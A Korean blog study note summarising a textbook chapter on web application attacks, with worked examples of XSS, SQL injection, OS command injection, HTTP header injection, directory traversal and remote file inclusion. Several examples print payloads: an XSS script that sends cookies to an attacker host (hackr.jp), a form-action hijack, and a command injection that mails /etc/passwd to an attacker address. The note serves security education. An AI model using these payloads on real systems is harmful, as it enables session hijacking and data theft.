백엔드 공부 메모/네트워크
웹 공격 기술(1) - 출력 값의 이스케이프 미비에 의한 공격
볼륨조절불가
2024. 3. 7. 15:40
728x90
* 해당 게시글은 <그림으로 배우는 Http&Network Basic>을 읽고 정리하면서 공부하기 위해 메모하듯 작성하는 글입니다.
웹 보안 공격 개요
- HTTP 자체는 보안상의 문제가 일어날 정도로 복잡한 프로토콜이 아니기에 HTTP가 공격 대상이 되는 일은 거의 없음
- 공격 대상은 HTTP를 사용하는 서버와 클라이언트, 서버 상에서 동작하는 웹 애플리케이션 등의 리소스가 대부분
- HTTP는 구조가 단순한 프로토콜이므로 장점도 있지만, 보안에 관한 단점 또한 존재
- SSH라는 프로토콜에는 프로토콜 수준에서 인증, 세션 관리 등의 기능을 제공하지만 HTTP는 관련 기능 부재
- 그래서 HTTP 서버를 이용한 웹 서비스를 개발할 때, 관련 기능을 스스로 구현해야 함
- 그러다보니 보안상 허점이 있는 상태에서 가동되는 웹 애플리케이션 존재
리퀘스트에 의한 보안상 허점
- HTTP 리퀘스트 내용은 모든 클라이언트에서 자유롭게 변경 및 변조 가능하므로, 웹 애플리케이션익 기대하는 값과는 다른 값이 보내질 가능성 존재
- 웹 애플리케이션에 대한 공격은 리퀘스트 메시지에 공격 코드를 실어서 실행
- 쿼리나 폼, HTTP 헤더, 쿠키 등을 경유해서 보내지는 공격 코드에 의해, 웹 애플리케이션에 취약성이 있을 경우 정보를 도둑맞거나 권한을 빼앗기는 일 발생
공격 패턴
- 서버를 노리는 능동적 패턴
- 공격자가 직접 웹 애플리케이션에 접근해 공격 코드를 보내는 형태
- 서버 상의 리소스에 직접 실행되기에 공격자가 리소스에 액세스할 필요 존재
- SQL 인젝션, OS 커맨드 인젝션 등이 여기에 속함
- 유저를 노리는 수동적 패턴
- 함정을 이용해 유저에게 공격 코드를 실행시키는 공격 형태
- XSS(크로스 사이트 스크립팅), CSRF(크로스 사이트 리퀘스트 포저리) 등이 여기에 속함
<수동적 공격의 일반적 작동 순서>
1. 공격자가 설치한 함정에 유저를 유도
(함정에는 공격 코드를 심어둔, HTTP 리퀘스트를 방생시키기 위한 장치 존재)
2. 유저가 함정에 걸리면 유저의 브라우저나 메일 클라이언트에서 함정을 열게 됨
3. 유저의 브라우저가 장착된 공격 코드를 포함한 HTTP 리퀘스트를 공격 대상인 웹 애플리케이션에 송신하고 공격 코드를 실행
4. 공격 코드 실행 결과, 유저의 쿠키 등 기밀 정보 누출, 로그인 중인 유저의 권한 악용 문제 발생
인트라넷을 향한 수동적 공격
- 수동적 공격을 이용해 인트라넷 네트워크까지 공격 가능
- 많은 인트라넷에서 인터넷 상의 웹 사이트에 액세스, 인터넷으로부터 전송된 메일 수신 등이 가능하기 때문
출력 값의 이스케이프 미비로 인한 취약성
웹 애플리케이션에서 처리한 데이터를 DB, 파일시스템, HTML, 메일 등으로 전달하는 곳에 따라 값을 ‘이스케이프 처리'하는 것이 미비하여 발생하는 취약점을 공격하는 방식들을 다룸
크로스 사이트 스크립팅
- 취약성이 있는 웹사이트를 방문한 사용자의 브라우저에서 잘못된 HTML 태그나 js 등을 동작시키는 공격
- 동적으로 HTML을 생성하는 부분에서 취약성 발생 가능
- 공격자의 스크립트가 함정이 되고 브라우저 상에서 움직이는 수동적 공격
- 영향
- 가짜 입력 폼 등으로 유저의 개인정보 유출
- 스크립트에 의해 유저의 쿠키값 유출, 피해자의 의도와 상관없는 리퀘스트 송신
- 가짜 문장, 이미지 표시
사례1 - 공격자가 준비한 로그인 페이지에 속아 개인정보가 공격자에게 유출되는 경우
- 로그인 페이지 요청시 입력한 id 파라미터 값을 ID 입력란에 반영하는 경우를 가정
<!-- http://example.com/login?id=novol 요청 결과 반환되는 html의 일부 -->
<!-- input 태그의 value 속성에 반영된 것 확인 가능 -->
<form action="http://example.com/login" method="post" id="login">
ID <input type="text" name="id" value="novol" />
<!-- 생략 -->
</form>
<!-- 공격자가 준비한 링크 요청 결과 반환되는 html의 일부 -->
<!-- 가독성 위해 조금 정리 -->
<!-- script, span 태그가 새로 생긴 것 확인 가능 -->
<form action="http://example.com/login" method="post" id="login">
ID <input type="text" name="id" value="">
<script>
var f = document.getElementById("login");
f.action = "http://hackr.jp/pwget";
f.method = "get";
</script>
<span s="" />
<!-- 생략 -->
</form>
- 공격자가 준비한 링크를 실행하게 되면 html 내 script 블록에 의해 폼 요청을 하게 되는 링크가 달라지게 되어 결과적으로 공격자의 웹사이트로 폼에 입력한 개인 정보가 전달됨
사례2 - 유저의 쿠키가 빼앗기는 경우
- 유저가 사례1과 동일한 웹사이트(example.com)에 접속한다고 가정
공격자가 준비한 링크
http://example.com/login?id="><script+src=http://hackr.jp/xss.js></script><span+s="
// 공격자 웹 애플리케이션(서버) 내 xss.js 내용
var content = escape(document.cookie); // 쿠키 값을 유니코드로 인코딩하여 content에 저장
document.write("img src=http://hackr.jp/?");
document.write(content);
document.write(">");
- 공격자의 링크를 유저가 실행하게 되면 파라미터에 의해 스크립트 블록이 생기고, 스크립트 블록을 실행한 결과 공격자의 웹사이트에 이미지를 요청하게 됨
- src 속성으로 지정된 링크에 리소스가 있든 없든 해당 링크에 요청하게 되므로 공격자의 웹사이트에 유저의 쿠키 정보가 전달되어 유출 피해 발생
SQL 인젝션
- 웹 애플리케이션을 이용하는 데이터베이스에 SQL을 부정하게 실행하는 공격
- 개인 정보, 기밀 정보 누설로 이어질 수 있음
- SQL의 호출 방법이 허술할 경우, 의도하지 않은(공격자가 의도한) SQL문 삽입 가능성 존재
- HTTP 요청으로 받아온 데이터를 SQL문의 특정 부분에 삽입할 때, SQL 내에서 특수하게 취급되는 키워드나 문자열을 이용해 공격자가 원하는 대로 본래 SQL문의 구문을 파괴하여 변조 가능
- 영향
- 데이터베이스 내의 데이터 부정 열람, 변조
- 인증 회피
- DB 서버를 경유한 프로그램 실행 등
사례 - 검색 기능에 활용되는 SQL을 임의로 조작하는 경우
- 도서 쇼핑 사이트에 저자 이름으로 책을 검색하는 상황
- 이때 요청하는 URL이 http://ex2.com/search?q=베르나르베르베르 라고 하면
- 요청 파라미터 q의 값을 받아 아래와 같은 SQL문으로 데이터베이스 검색한다고 가정
- SELECT * FROM bookTbl WHERE author = '베르나르베르베르' and flag = 1;
- 판매 가능한 책인 경우 flag = 1, 절판된 경우 0
- 즉 위의 SQL문은 판매 가능한 베르나르베르베르의 서적을 검색
- SELECT * FROM bookTbl WHERE author = '베르나르베르베르' and flag = 1;
- 이때 http://ex2.com/search?q=베르나르베르베르'-- 를 요청한다면 절판된 책까지도 검색 가능
- SQL문에서 -- 이후부터는 주석으로 처리하기 때문
- 파라미터 q에 담긴 베르나르베르베르'--의 값을 넣어 SQL문을 완성하게 되면 아래와 같음
- SELECT * FROM bookTbl WHERE author = '베르나르베르베르'--' and flag = 1;
- SQL문에 생긴 주석 시작 표시(--)로 인해 flag 조건이 들어가지 않은 SQL문 실행
- SELECT * FROM bookTbl WHERE author = '베르나르베르베르' 까지가 유효한 SQL문
OS 커맨드 인젝션
- 웹 애플리케이션을 경유하여 OS 명령을 부정하게 실행하는 공격
- 쉘을 호출하는(시스템 콜) 함수가 있는 곳에서 주로 발생
- 웹 애플리케이션에서 OS에서 사용되는 커맨드를 쉘을 경유해서 실행할 수 있음
- 이때 쉘의 호출 방법에 취약한 부분이 있다면 잘못된 OS 커맨드가 삽입되어 실행되는 경우 존재
- 공격자가 원하는 대로 OS에서 동작하는 다양한 프로그램 실행 가능
사례 - 폼에 입력한 내용을 기반으로 상대에게 메일을 송신하는 프로그램 악용
- 웹 애플리케이션(서버)의 동작 과정은 아래와 같다고 가정
- 유저가 폼에 상대방의 메일 주소와 메일 내용 입력 후 전송 버튼 클릭
- 서버에서 메일 주소를 변수로 받아와 서버 OS(리눅스 기반 서버라고 가정)의 메일 전송 프로그램 실행
- 서버 측에서 메일 전송 위해 sendmail 이라는 프로그램을 실행해 메일 전송
- (폼에 입력한 메일 내용) | usr/sbin/sendmail (폼에 입력한 수신자의 이메일)
- sendmail은 리눅스의 메일 전송 프로그램(윈도우의 outlook같은 느낌)
- 공격자에 의해, '받는 사람'에 ; cat etc/passwd | mail hack@example.com 을 전달하면 명령어는 아래처럼 완성
- (내용) | usr/sbin/sendmail ; cat etc/passwd | mail hack@example.com
- mail 또한 리눅스의 메일 전송 프로그램
- 완성된 명령어를 실행하게 되면 서버의 중요한 정보(/etc/passwd: 리눅스의 계정 정보가 포함된 파일)가 hack@example.com(공격자 이메일)으로 전송
HTTP 헤더 인젝션
- 공격자가 리스폰스 헤더 필드에 개행 문자 등을 삽입함으로써 임의의 리스폰스 헤더 필드나 바디를 추가하는 수동적 공격
- 특히 바디를 추가하는 공격을 HTTP 리스폰스 분할 공격(HTTP Response Splitting Attack)이라고 부름
- 외부에서 받은 값이 리스폰스 헤더 필드의 값에 들어가는 경우에 발생
- 영향
- 임의의 쿠키 설정
- 임의의 URL에 리다이렉트
- 임의의 바디 표시(HTTP 리스폰스 분할 공격)
사례 - 임의의 헤더 필드를 리스폰스에 삽입하여 유저로 위장(Set-Cookie 필드 삽입)
- 카테고리를 선택해 해당 각 카테고리의 페이지로 리다이렉트시키는 기능을 이용하는 상황
- 카테고리 선택 후 이동할 때 get 요청에 의해 카테고리 값이 파라미터로 전달된다고 가정
- 선택한 카테고리 값이 101인 경우 http://ex3.com?cat=101으로 리다이렉트됨
- 이동(요청) 과정에서 Location 헤더 필드 값이 http://ex3.com?cat=101으로 설정되어 리다이렉트 가능
- 공격자가 cat 파라미터에 들어갈 값을 101%0D%0ASet-Cookie:+SID=123456789 로 설정한 후 요청
- Location 헤더 필드 값이 http://ex3.com?cat=101%0D%0ASet-Cookie:+SID=123456789으로 설정
- 이때 HTTP 메시지에서 %0D%0A는 HTTP의 개행 문자를 의미
- 때문에 HTTP 메시지는 아래와 같이 해석
Location: http://ex3.com?cat=101
Set-Cookie: SID=123456789
- 개행 문자를 해석하였기 때문에 서버 측에서 리다이렉트 위치를 알려줌(첫 번째 줄)과 동시에 공격자가 지정한 쿠키를 설정해 보내는 결과 발생
- 위의 예시에서 공격자는 개행 문자를 통해 세션 ID 지정
- 이처럼 공격자가 임의로 지정한 세션 ID를 사용하게 하는 공격을 세션 픽세이션(Session Fixation)이라고 함
사례 - 개행 문자를 두 번 사용해 공격자가 원하는 바디 전달
- HTTP 인젝션이 가능한 곳에 개행 문자(%0D%0A)를 두 번 사용해 HTTP 헤더와 바디를 강제로 나눈 뒤, 공격자가 원하는 HTTP 바디를 표시
- 이 공격에 당한 유저는 공격자가 준비한 가짜 웹페이지를 보게 되어 유저의 개인정보를 입력받아 본인이 입수하거나, 크로스 사이트 스크립팅과 같은 효과를 얻을 수 있음
디렉토리 접근 공격(Directory Traversal)
- 비공개 디렉토리 파일에 대해 부정하게 디렉토리 패스를 가로질러(불법적인 방법으로) 액세스하는 공격
- 파일을 조작하는 처리에서 파일 이름을 외부에서 지정하는 처리가 취약할 경우 발생 가능
- 상대 경로, 절대 경로의 문법을 사용해 일반 유저가 접근하지 못하는 디렉토리나 파일에 접근이 가능한 경우, 웹 서버상의 파일이 잘못 열람되거나, 변조, 삭제될 수도 있음
- 임의의 파일 이름을 지정할 수 없도록 지정해야 함
리모트 파일 인클루션
- 스크립트의 일부를 다른 파일에서 읽어올 때 공격자가 지정한 외부 서버의 URL을 파일에서 읽게 하여 공격자가 원하는 스크립트를 동작시키는 공격
- 주로 php 서버에서 발생
- php의 include, require 설정에 의해 외부 서버의 URL을 파일명으로 지정할 수 있기 때문
- 임의의 파일 이름을 지정할 수 없도록 지정해야 함
728x90